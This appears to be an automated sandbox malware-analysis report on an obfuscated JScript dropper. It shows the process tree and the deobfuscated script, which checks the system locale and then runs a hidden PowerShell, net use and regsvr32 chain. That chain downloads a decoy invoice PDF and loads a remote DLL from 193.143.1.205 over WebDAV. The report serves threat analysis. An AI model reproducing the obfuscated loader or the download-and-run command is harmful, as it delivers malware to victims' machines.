Jan 10, 2025 19:04:40.460195065 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:04:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:04:34
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js"
Imagebase:	0x7ff686720000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:04:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Imagebase:	0x7ff62b360000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:04:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:04:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:04:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:04:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62b360000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:04:38
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff712ba0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:04:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:04:39
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:04:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1732,i,7516118534538757625,14757094030202328636,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kisxwcxa() {	kisxwcxa() ➔ undefined
1	firya = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ywmte = this[olcmgtcgn + yklqzabq + jeyvfb + tybmjm + xnpbeul + oauby + gtdtuugcl + uxfuivg] ( this[ruvgg + egqdxcjmr + jgtqccsrb + jeyvfb + vxjuq + olcmgtcgn + uxfuivg][peavpiro + jeyvfb + xnpbeul + yklqzabq + uxfuivg + xnpbeul + wdgvasegr + twwbmq + biisfog + xnpbeul + jgtqccsrb + uxfuivg] ( ruvgg + egqdxcjmr + jgtqccsrb + jeyvfb + vxjuq + olcmgtcgn + uxfuivg + yoyleu + egqdxcjmr + wbgllxond + xnpbeul + yvzjis + yvzjis ) [niqtike + xnpbeul + wnvnz + niqtike + xnpbeul + yklqzabq + zuuyw] ( adgoiuhp + nvhngm + wwxjui + wogoxqce + cxhbeanqp + peavpiro + knwpm + niqtike + niqtike + wwxjui + xhskzrn + bopsr + cxhbeanqp + knwpm + egqdxcjmr + wwxjui + niqtike + dbkhplze + peavpiro + tebiefr + gtdtuugcl + uxfuivg + jeyvfb + tebiefr + yvzjis + ugrgroowi + mqegms + yklqzabq + gtdtuugcl + xnpbeul + yvzjis + dbkhplze + oauby + gtdtuugcl + uxfuivg + xnpbeul + jeyvfb + gtdtuugcl + yklqzabq + uxfuivg + vxjuq + tebiefr + gtdtuugcl + yklqzabq + yvzjis + dbkhplze + piibbeq + tebiefr + jgtqccsrb + yklqzabq + yvzjis + xnpbeul ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bcumkwcl = 0 ; bcumkwcl < firya[yvzjis + xnpbeul + gtdtuugcl + wnvnz + uxfuivg + wbgllxond] ; ++ bcumkwcl )
4	{
5	if ( ywmte == firya[bcumkwcl] )
6	{
7	ywmte = true;
8	break ;
9	}
10	}
11	if ( ywmte !== true )
12	this[ruvgg + egqdxcjmr + jgtqccsrb + jeyvfb + vxjuq + olcmgtcgn + uxfuivg][vufmfio + zkgldrq + vxjuq + uxfuivg] ( );
13	this[ruvgg + egqdxcjmr + jgtqccsrb + jeyvfb + vxjuq + olcmgtcgn + uxfuivg][peavpiro + jeyvfb + xnpbeul + yklqzabq + uxfuivg + xnpbeul + wdgvasegr + twwbmq + biisfog + xnpbeul + jgtqccsrb + uxfuivg] ( ruvgg + egqdxcjmr + jgtqccsrb + jeyvfb + vxjuq + olcmgtcgn + uxfuivg + yoyleu + egqdxcjmr + wbgllxond + xnpbeul + yvzjis + yvzjis ) [jeyvfb + zkgldrq + gtdtuugcl] ( jgtqccsrb + nwajn + zuuyw + ugrgroowi + brhwyjqg + jgtqccsrb + ugrgroowi + olcmgtcgn + tebiefr + tvyysvg + xnpbeul + jeyvfb + tybmjm + wbgllxond + xnpbeul + yvzjis + yvzjis + yoyleu + xnpbeul + uoica + xnpbeul + ugrgroowi + oeaubqy + peavpiro + tebiefr + nwajn + nwajn + yklqzabq + gtdtuugcl + zuuyw + ugrgroowi + fmqzksfi + oauby + gtdtuugcl + kznzlopke + tebiefr + uvdtk + xnpbeul + oeaubqy + ruvgg + xnpbeul + twwbmq + niqtike + xnpbeul + ewtrxscey + zkgldrq + xnpbeul + tybmjm + uxfuivg + ugrgroowi + oeaubqy + wdgvasegr + zkgldrq + uxfuivg + kzdir + vxjuq + yvzjis + xnpbeul + ugrgroowi + lpwqig + uxfuivg + xnpbeul + nwajn + olcmgtcgn + lpwqig + dbkhplze + vxjuq + gtdtuugcl + kznzlopke + tebiefr + vxjuq + jgtqccsrb + xnpbeul + yoyleu + olcmgtcgn + zuuyw + fidtcv + ugrgroowi + wbgllxond + uxfuivg + uxfuivg + olcmgtcgn + aucqvcewe + brhwyjqg + brhwyjqg + sztte + mpenltsl + zaidtge + yoyleu + sztte + aekzuzj + zaidtge + yoyleu + sztte + yoyleu + waanfnr + bhnnb + xdgzhhfhf + brhwyjqg + vxjuq + gtdtuugcl + kznzlopke + tebiefr + vxjuq + jgtqccsrb + xnpbeul + yoyleu + olcmgtcgn + wbgllxond + olcmgtcgn + fmqzksfi + byzpkcltc + byzpkcltc + tybmjm + uxfuivg + yklqzabq + jeyvfb + uxfuivg + ugrgroowi + lpwqig + uxfuivg + xnpbeul + nwajn + olcmgtcgn + lpwqig + dbkhplze + vxjuq + gtdtuugcl + kznzlopke + tebiefr + vxjuq + jgtqccsrb + xnpbeul + yoyleu + olcmgtcgn + zuuyw + fidtcv + byzpkcltc + byzpkcltc + jgtqccsrb + nwajn + zuuyw + ugrgroowi + brhwyjqg + jgtqccsrb + ugrgroowi + gtdtuugcl + xnpbeul + uxfuivg + ugrgroowi + zkgldrq + tybmjm + xnpbeul + ugrgroowi + dbkhplze + dbkhplze + sztte + mpenltsl + zaidtge + yoyleu + sztte + aekzuzj + zaidtge + yoyleu + sztte + yoyleu + waanfnr + bhnnb + xdgzhhfhf + blvwrjynx + bbwuz + bbwuz + bbwuz + bbwuz + dbkhplze + zuuyw + yklqzabq + kznzlopke + tvyysvg + tvyysvg + tvyysvg + jeyvfb + tebiefr + tebiefr + uxfuivg + dbkhplze + byzpkcltc + byzpkcltc + jgtqccsrb + nwajn + zuuyw + ugrgroowi + brhwyjqg + jgtqccsrb + ugrgroowi + jeyvfb + xnpbeul + wnvnz + tybmjm + kznzlopke + jeyvfb + zaidtge + waanfnr + ugrgroowi + brhwyjqg + tybmjm + ugrgroowi + dbkhplze + dbkhplze + sztte + mpenltsl + zaidtge + yoyleu + sztte + aekzuzj + zaidtge + yoyleu + sztte + yoyleu + waanfnr + bhnnb + xdgzhhfhf + blvwrjynx + bbwuz + bbwuz + bbwuz + bbwuz + dbkhplze + zuuyw + yklqzabq + kznzlopke + tvyysvg + tvyysvg + tvyysvg + jeyvfb + tebiefr + tebiefr + uxfuivg + dbkhplze + aekzuzj + zaidtge + mpenltsl + xdgzhhfhf + waanfnr + mpenltsl + bbwuz + glmnjqdz + zaidtge + mpenltsl + mpenltsl + glmnjqdz + sztte + yoyleu + zuuyw + yvzjis + yvzjis, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll",0,false) ➔ 0
14	}
15	sztte = "T";
16	sztte = "Z";
17	sztte = "A";
18	sztte = "D";
19	sztte = "D";
20	sztte = "T";
21	sztte = "v";
22	sztte = "H";
23	sztte = "C";
24	sztte = "k";
25	sztte = "p";
26	sztte = "v";
27	sztte = "x";
28	sztte = "U";
29	sztte = "c";
30	sztte = "w";
31	sztte = "g";
32	sztte = "p";
33	sztte = "d";
34	sztte = "t";
35	sztte = "p";
36	sztte = "S";
37	sztte = "E";
38	sztte = "A";
39	sztte = "p";
40	sztte = "t";
41	sztte = "F";
42	sztte = "K";
43	sztte = "A";
44	sztte = "g";
45	sztte = "h";
46	sztte = "t";
47	sztte = "L";
48	sztte = "D";
49	sztte = "M";
50	sztte = "H";
51	sztte = "p";
52	sztte = "N";
53	sztte = "h";
54	sztte = "J";
55	sztte = "v";
56	sztte = "B";
57	sztte = "n";
58	sztte = "1";
59	ewtrxscey = "t";
60	ewtrxscey = "T";
61	ewtrxscey = "E";
62	ewtrxscey = "t";
63	ewtrxscey = "L";
64	ewtrxscey = "S";
65	ewtrxscey = "a";
66	ewtrxscey = "k";
67	ewtrxscey = "o";
68	ewtrxscey = "E";
69	ewtrxscey = "U";
70	ewtrxscey = "r";
71	ewtrxscey = "R";
72	ewtrxscey = "M";
73	ewtrxscey = "f";
74	ewtrxscey = "L";
75	ewtrxscey = "x";
76	ewtrxscey = "G";
77	ewtrxscey = "Z";
78	ewtrxscey = "M";
79	ewtrxscey = "o";
80	ewtrxscey = "A";
81	ewtrxscey = "K";
82	ewtrxscey = "q";
83	waanfnr = "d";
84	waanfnr = "T";
85	waanfnr = "L";
86	waanfnr = "P";
87	waanfnr = "n";
88	waanfnr = "w";
89	waanfnr = "I";
90	waanfnr = "O";
91	waanfnr = "h";
92	waanfnr = "j";
93	waanfnr = "h";
94	waanfnr = "F";
95	waanfnr = "N";
96	waanfnr = "y";
97	waanfnr = "V";
98	waanfnr = "c";
99	waanfnr = "h";
100	waanfnr = "y";
101	waanfnr = "K";
102	waanfnr = "V";
103	waanfnr = "l";
104	waanfnr = "k";
105	waanfnr = "c";
106	waanfnr = "R";
107	waanfnr = "f";
108	waanfnr = "l";
109	waanfnr = "2";
110	egqdxcjmr = "U";
111	egqdxcjmr = "x";
112	egqdxcjmr = "u";
113	egqdxcjmr = "r";
114	egqdxcjmr = "R";
115	egqdxcjmr = "s";
116	egqdxcjmr = "K";
117	egqdxcjmr = "o";
118	egqdxcjmr = "r";
119	egqdxcjmr = "n";
120	egqdxcjmr = "s";
121	egqdxcjmr = "g";
122	egqdxcjmr = "z";
123	egqdxcjmr = "n";
124	egqdxcjmr = "Y";
125	egqdxcjmr = "n";
126	egqdxcjmr = "W";
127	egqdxcjmr = "X";
128	egqdxcjmr = "G";
129	egqdxcjmr = "I";
130	egqdxcjmr = "I";
131	egqdxcjmr = "Y";
132	egqdxcjmr = "Z";
133	egqdxcjmr = "f";
134	egqdxcjmr = "S";
135	byzpkcltc = "x";
136	byzpkcltc = "b";
137	byzpkcltc = "Q";
138	byzpkcltc = "K";
139	byzpkcltc = "q";
140	byzpkcltc = "S";
141	byzpkcltc = "U";
142	byzpkcltc = "m";
143	byzpkcltc = "g";
144	byzpkcltc = "V";
145	byzpkcltc = "N";
146	byzpkcltc = "O";
147	byzpkcltc = "m";
148	byzpkcltc = "U";
149	byzpkcltc = "N";
150	byzpkcltc = "j";
151	byzpkcltc = "R";
152	byzpkcltc = "X";
153	byzpkcltc = "p";
154	byzpkcltc = "z";
155	byzpkcltc = "D";
156	byzpkcltc = "K";
157	byzpkcltc = "N";
158	byzpkcltc = "I";
159	byzpkcltc = "L";
160	byzpkcltc = "&";
161	wnvnz = "v";
162	wnvnz = "n";
163	wnvnz = "X";
164	wnvnz = "n";
165	wnvnz = "n";
166	wnvnz = "y";
167	wnvnz = "y";
168	wnvnz = "t";
169	wnvnz = "G";
170	wnvnz = "x";
171	wnvnz = "P";
172	wnvnz = "e";
173	wnvnz = "Q";
174	wnvnz = "Z";
175	wnvnz = "A";
176	wnvnz = "b";
177	wnvnz = "b";
178	wnvnz = "S";
179	wnvnz = "h";
180	wnvnz = "B";
181	wnvnz = "j";
182	wnvnz = "b";
183	wnvnz = "z";
184	wnvnz = "Q";
185	wnvnz = "v";
186	wnvnz = "g";
187	blvwrjynx = "g";
188	blvwrjynx = "M";
189	blvwrjynx = "l";
190	blvwrjynx = "v";
191	blvwrjynx = "R";
192	blvwrjynx = "C";
193	blvwrjynx = "K";
194	blvwrjynx = "I";
195	blvwrjynx = "u";
196	blvwrjynx = "j";
197	blvwrjynx = "A";
198	blvwrjynx = "x";
199	blvwrjynx = "M";
200	blvwrjynx = "a";
201	blvwrjynx = "h";
202	blvwrjynx = "M";
203	blvwrjynx = "u";
204	blvwrjynx = "C";
205	blvwrjynx = "T";
206	blvwrjynx = "C";
207	blvwrjynx = "Y";
208	blvwrjynx = "B";
209	blvwrjynx = "o";
210	blvwrjynx = "c";
211	blvwrjynx = "r";
212	blvwrjynx = "T";
213	blvwrjynx = "r";
214	blvwrjynx = "q";
215	blvwrjynx = "j";
216	blvwrjynx = "v";
217	blvwrjynx = "g";
218	blvwrjynx = "x";
219	blvwrjynx = "b";
220	blvwrjynx = "A";
221	blvwrjynx = "G";
222	blvwrjynx = "e";
223	blvwrjynx = "f";
224	blvwrjynx = "I";
225	blvwrjynx = "v";
226	blvwrjynx = "K";
227	blvwrjynx = "o";
228	blvwrjynx = "Z";
229	blvwrjynx = "H";
230	blvwrjynx = "p";
231	blvwrjynx = "@";
232	nwajn = "p";
233	nwajn = "I";
234	nwajn = "c";
235	nwajn = "Q";
236	nwajn = "J";
237	nwajn = "X";
238	nwajn = "r";
239	nwajn = "T";
240	nwajn = "W";
241	nwajn = "E";
242	nwajn = "G";
243	nwajn = "e";
244	nwajn = "b";
245	nwajn = "g";
246	nwajn = "P";
247	nwajn = "r";
248	nwajn = "T";
249	nwajn = "M";
250	nwajn = "j";
251	nwajn = "o";
252	nwajn = "m";
253	tebiefr = "k";
254	tebiefr = "o";
255	tebiefr = "l";
256	tebiefr = "K";
257	tebiefr = "D";
258	tebiefr = "o";
259	xhskzrn = "u";
260	xhskzrn = "V";
261	xhskzrn = "C";
262	xhskzrn = "e";
263	xhskzrn = "B";
264	xhskzrn = "g";
265	xhskzrn = "o";
266	xhskzrn = "m";
267	xhskzrn = "L";
268	xhskzrn = "K";
269	xhskzrn = "G";
270	xhskzrn = "f";
271	xhskzrn = "d";
272	xhskzrn = "W";
273	xhskzrn = "T";
274	xhskzrn = "i";
275	xhskzrn = "N";
276	cxhbeanqp = "L";
277	cxhbeanqp = "w";
278	cxhbeanqp = "Y";
279	cxhbeanqp = "H";
280	cxhbeanqp = "A";
281	cxhbeanqp = "N";
282	cxhbeanqp = "_";
283	gtdtuugcl = "n";
284	gtdtuugcl = "n";
285	uxfuivg = "Q";
286	uxfuivg = "L";
287	uxfuivg = "g";
288	uxfuivg = "s";
289	uxfuivg = "v";
290	uxfuivg = "N";
291	uxfuivg = "M";
292	uxfuivg = "v";
293	uxfuivg = "l";
294	uxfuivg = "K";
295	uxfuivg = "M";
296	uxfuivg = "X";
297	uxfuivg = "a";
298	uxfuivg = "M";
299	uxfuivg = "C";
300	uxfuivg = "x";
301	uxfuivg = "n";
302	uxfuivg = "x";
303	uxfuivg = "C";
304	uxfuivg = "n";
305	uxfuivg = "O";
306	uxfuivg = "b";
307	uxfuivg = "X";
308	uxfuivg = "k";
309	uxfuivg = "Q";
310	uxfuivg = "O";
311	uxfuivg = "a";
312	uxfuivg = "q";
313	uxfuivg = "r";
314	uxfuivg = "D";
315	uxfuivg = "F";
316	uxfuivg = "p";
317	uxfuivg = "N";
318	uxfuivg = "v";
319	uxfuivg = "K";
320	uxfuivg = "S";
321	uxfuivg = "t";
322	jeyvfb = "S";
323	jeyvfb = "l";
324	jeyvfb = "D";
325	jeyvfb = "Y";
326	jeyvfb = "v";
327	jeyvfb = "z";
328	jeyvfb = "G";
329	jeyvfb = "H";
330	jeyvfb = "K";
331	jeyvfb = "M";
332	jeyvfb = "l";
333	jeyvfb = "X";
334	jeyvfb = "s";
335	jeyvfb = "D";
336	jeyvfb = "E";
337	jeyvfb = "j";
338	jeyvfb = "q";
339	jeyvfb = "e";
340	jeyvfb = "O";
341	jeyvfb = "h";
342	jeyvfb = "N";
343	jeyvfb = "V";
344	jeyvfb = "X";
345	jeyvfb = "x";
346	jeyvfb = "P";
347	jeyvfb = "A";
348	jeyvfb = "E";
349	jeyvfb = "e";
350	jeyvfb = "r";
351	aekzuzj = "k";
352	aekzuzj = "t";
353	aekzuzj = "o";
354	aekzuzj = "q";
355	aekzuzj = "o";
356	aekzuzj = "p";
357	aekzuzj = "c";
358	aekzuzj = "o";
359	aekzuzj = "L";
360	aekzuzj = "B";
361	aekzuzj = "V";
362	aekzuzj = "k";
363	aekzuzj = "h";
364	aekzuzj = "i";
365	aekzuzj = "r";
366	aekzuzj = "4";
367	yklqzabq = "K";
368	yklqzabq = "U";
369	yklqzabq = "a";
370	lpwqig = "I";
371	lpwqig = "p";
372	lpwqig = "R";
373	lpwqig = "q";
374	lpwqig = "K";
375	lpwqig = "Y";
376	lpwqig = "r";
377	lpwqig = "S";
378	lpwqig = "Q";
379	lpwqig = "w";
380	lpwqig = "n";
381	lpwqig = "h";
382	lpwqig = "Q";
383	lpwqig = "D";
384	lpwqig = "t";
385	lpwqig = "m";
386	lpwqig = "o";
387	lpwqig = "o";
388	lpwqig = "n";
389	lpwqig = "i";
390	lpwqig = "d";
391	lpwqig = "K";
392	lpwqig = "V";
393	lpwqig = "M";
394	lpwqig = "w";
395	lpwqig = "F";
396	lpwqig = "O";
397	lpwqig = "a";
398	lpwqig = "%";
399	biisfog = "F";
400	biisfog = "c";
401	biisfog = "K";
402	biisfog = "u";
403	biisfog = "w";
404	biisfog = "n";
405	biisfog = "p";
406	biisfog = "S";
407	biisfog = "D";
408	biisfog = "j";
409	biisfog = "N";
410	biisfog = "d";
411	biisfog = "J";
412	biisfog = "b";
413	biisfog = "N";
414	biisfog = "f";
415	biisfog = "B";
416	biisfog = "f";
417	biisfog = "n";
418	biisfog = "B";
419	biisfog = "E";
420	biisfog = "N";
421	biisfog = "J";
422	biisfog = "F";
423	biisfog = "J";
424	biisfog = "R";
425	biisfog = "j";
426	tybmjm = "f";
427	tybmjm = "L";
428	tybmjm = "s";
429	ruvgg = "W";
430	ruvgg = "s";
431	ruvgg = "r";
432	ruvgg = "o";
433	ruvgg = "W";
434	ruvgg = "R";
435	ruvgg = "S";
436	ruvgg = "w";
437	ruvgg = "y";
438	ruvgg = "h";
439	ruvgg = "W";
440	ruvgg = "W";
441	uvdtk = "N";
442	uvdtk = "V";
443	uvdtk = "e";
444	uvdtk = "l";
445	uvdtk = "Y";
446	uvdtk = "O";
447	uvdtk = "H";
448	uvdtk = "w";
449	uvdtk = "M";
450	uvdtk = "u";
451	uvdtk = "V";
452	uvdtk = "q";
453	uvdtk = "t";
454	uvdtk = "L";
455	uvdtk = "t";
456	uvdtk = "t";
457	uvdtk = "W";
458	uvdtk = "a";
459	uvdtk = "i";
460	uvdtk = "g";
461	uvdtk = "D";
462	uvdtk = "l";
463	uvdtk = "k";
464	uvdtk = "k";
465	uvdtk = "H";
466	uvdtk = "d";
467	uvdtk = "e";
468	uvdtk = "A";
469	uvdtk = "f";
470	uvdtk = "n";
471	uvdtk = "X";
472	uvdtk = "a";
473	uvdtk = "k";
474	mqegms = "K";
475	mqegms = "h";
476	mqegms = "L";
477	mqegms = "c";
478	mqegms = "X";
479	mqegms = "X";
480	mqegms = "j";
481	mqegms = "U";
482	mqegms = "n";
483	mqegms = "y";
484	mqegms = "H";
485	mqegms = "k";
486	mqegms = "Q";
487	mqegms = "Q";
488	mqegms = "K";
489	mqegms = "U";
490	mqegms = "h";
491	mqegms = "o";
492	mqegms = "n";
493	mqegms = "M";
494	mqegms = "B";
495	mqegms = "v";
496	mqegms = "u";
497	mqegms = "T";
498	mqegms = "N";
499	mqegms = "O";
500	mqegms = "L";
501	mqegms = "F";
502	mqegms = "t";
503	mqegms = "l";
504	mqegms = "d";
505	mqegms = "P";
506	peavpiro = "G";
507	peavpiro = "z";
508	peavpiro = "Z";
509	peavpiro = "s";
510	peavpiro = "u";
511	peavpiro = "q";
512	peavpiro = "q";
513	peavpiro = "D";
514	peavpiro = "H";
515	peavpiro = "a";
516	peavpiro = "p";
517	peavpiro = "u";
518	peavpiro = "t";
519	peavpiro = "L";
520	peavpiro = "H";
521	peavpiro = "Z";
522	peavpiro = "W";
523	peavpiro = "h";
524	peavpiro = "N";
525	peavpiro = "q";
526	peavpiro = "t";
527	peavpiro = "q";
528	peavpiro = "n";
529	peavpiro = "R";
530	peavpiro = "E";
531	peavpiro = "J";
532	peavpiro = "j";
533	peavpiro = "A";
534	peavpiro = "P";
535	peavpiro = "l";
536	peavpiro = "a";
537	peavpiro = "C";
538	peavpiro = "A";
539	peavpiro = "M";
540	peavpiro = "C";
541	adgoiuhp = "u";
542	adgoiuhp = "T";
543	adgoiuhp = "B";
544	adgoiuhp = "d";
545	adgoiuhp = "w";
546	adgoiuhp = "V";
547	adgoiuhp = "t";
548	adgoiuhp = "c";
549	adgoiuhp = "p";
550	adgoiuhp = "x";
551	adgoiuhp = "y";
552	adgoiuhp = "K";
553	adgoiuhp = "F";
554	adgoiuhp = "A";
555	adgoiuhp = "v";
556	adgoiuhp = "F";
557	adgoiuhp = "s";
558	adgoiuhp = "J";
559	adgoiuhp = "V";
560	adgoiuhp = "X";
561	adgoiuhp = "d";
562	adgoiuhp = "R";
563	adgoiuhp = "E";
564	adgoiuhp = "T";
565	adgoiuhp = "H";
566	wwxjui = "Z";
567	wwxjui = "h";
568	wwxjui = "P";
569	wwxjui = "j";
570	wwxjui = "d";
571	wwxjui = "Q";
572	wwxjui = "R";
573	wwxjui = "E";
574	oauby = "r";
575	oauby = "u";
576	oauby = "P";
577	oauby = "s";
578	oauby = "U";
579	oauby = "f";
580	oauby = "P";
581	oauby = "J";
582	oauby = "n";
583	oauby = "x";
584	oauby = "I";
585	ugrgroowi = "y";
586	ugrgroowi = "C";
587	ugrgroowi = "l";
588	ugrgroowi = " ";
589	olcmgtcgn = "b";
590	olcmgtcgn = "I";
591	olcmgtcgn = "V";
592	olcmgtcgn = "r";
593	olcmgtcgn = "I";
594	olcmgtcgn = "H";
595	olcmgtcgn = "v";
596	olcmgtcgn = "w";
597	olcmgtcgn = "a";
598	olcmgtcgn = "j";
599	olcmgtcgn = "c";
600	olcmgtcgn = "A";
601	olcmgtcgn = "i";
602	olcmgtcgn = "k";
603	olcmgtcgn = "w";
604	olcmgtcgn = "Z";
605	olcmgtcgn = "j";
606	olcmgtcgn = "p";
607	vufmfio = "m";
608	vufmfio = "j";
609	vufmfio = "C";
610	vufmfio = "w";
611	vufmfio = "W";
612	vufmfio = "C";
613	vufmfio = "z";
614	vufmfio = "r";
615	vufmfio = "L";
616	vufmfio = "r";
617	vufmfio = "i";
618	vufmfio = "A";
619	vufmfio = "j";
620	vufmfio = "E";
621	vufmfio = "z";
622	vufmfio = "I";
623	vufmfio = "D";
624	vufmfio = "p";
625	vufmfio = "H";
626	vufmfio = "a";
627	vufmfio = "W";
628	vufmfio = "h";
629	vufmfio = "B";
630	vufmfio = "I";
631	vufmfio = "o";
632	vufmfio = "E";
633	vufmfio = "t";
634	vufmfio = "Z";
635	vufmfio = "Q";
636	yoyleu = "Q";
637	yoyleu = "u";
638	yoyleu = "T";
639	yoyleu = "P";
640	yoyleu = "y";
641	yoyleu = "C";
642	yoyleu = "f";
643	yoyleu = "b";
644	yoyleu = "w";
645	yoyleu = "K";
646	yoyleu = "k";
647	yoyleu = "V";
648	yoyleu = "K";
649	yoyleu = "R";
650	yoyleu = "e";
651	yoyleu = "l";
652	yoyleu = "a";
653	yoyleu = "D";
654	yoyleu = "X";
655	yoyleu = "g";
656	yoyleu = "P";
657	yoyleu = "W";
658	yoyleu = "w";
659	yoyleu = "N";
660	yoyleu = "c";
661	yoyleu = "F";
662	yoyleu = "d";
663	yoyleu = "Z";
664	yoyleu = "y";
665	yoyleu = "t";
666	yoyleu = "v";
667	yoyleu = "p";
668	yoyleu = "c";
669	yoyleu = "M";
670	yoyleu = "U";
671	yoyleu = "K";
672	yoyleu = "j";
673	yoyleu = "A";
674	yoyleu = "k";
675	yoyleu = "C";
676	yoyleu = "l";
677	yoyleu = ".";
678	aucqvcewe = "L";
679	aucqvcewe = "m";
680	aucqvcewe = "d";
681	aucqvcewe = "C";
682	aucqvcewe = "o";
683	aucqvcewe = "N";
684	aucqvcewe = "X";
685	aucqvcewe = "G";
686	aucqvcewe = "d";
687	aucqvcewe = "h";
688	aucqvcewe = "e";
689	aucqvcewe = "z";
690	aucqvcewe = "c";
691	aucqvcewe = "C";
692	aucqvcewe = "Z";
693	aucqvcewe = "Y";
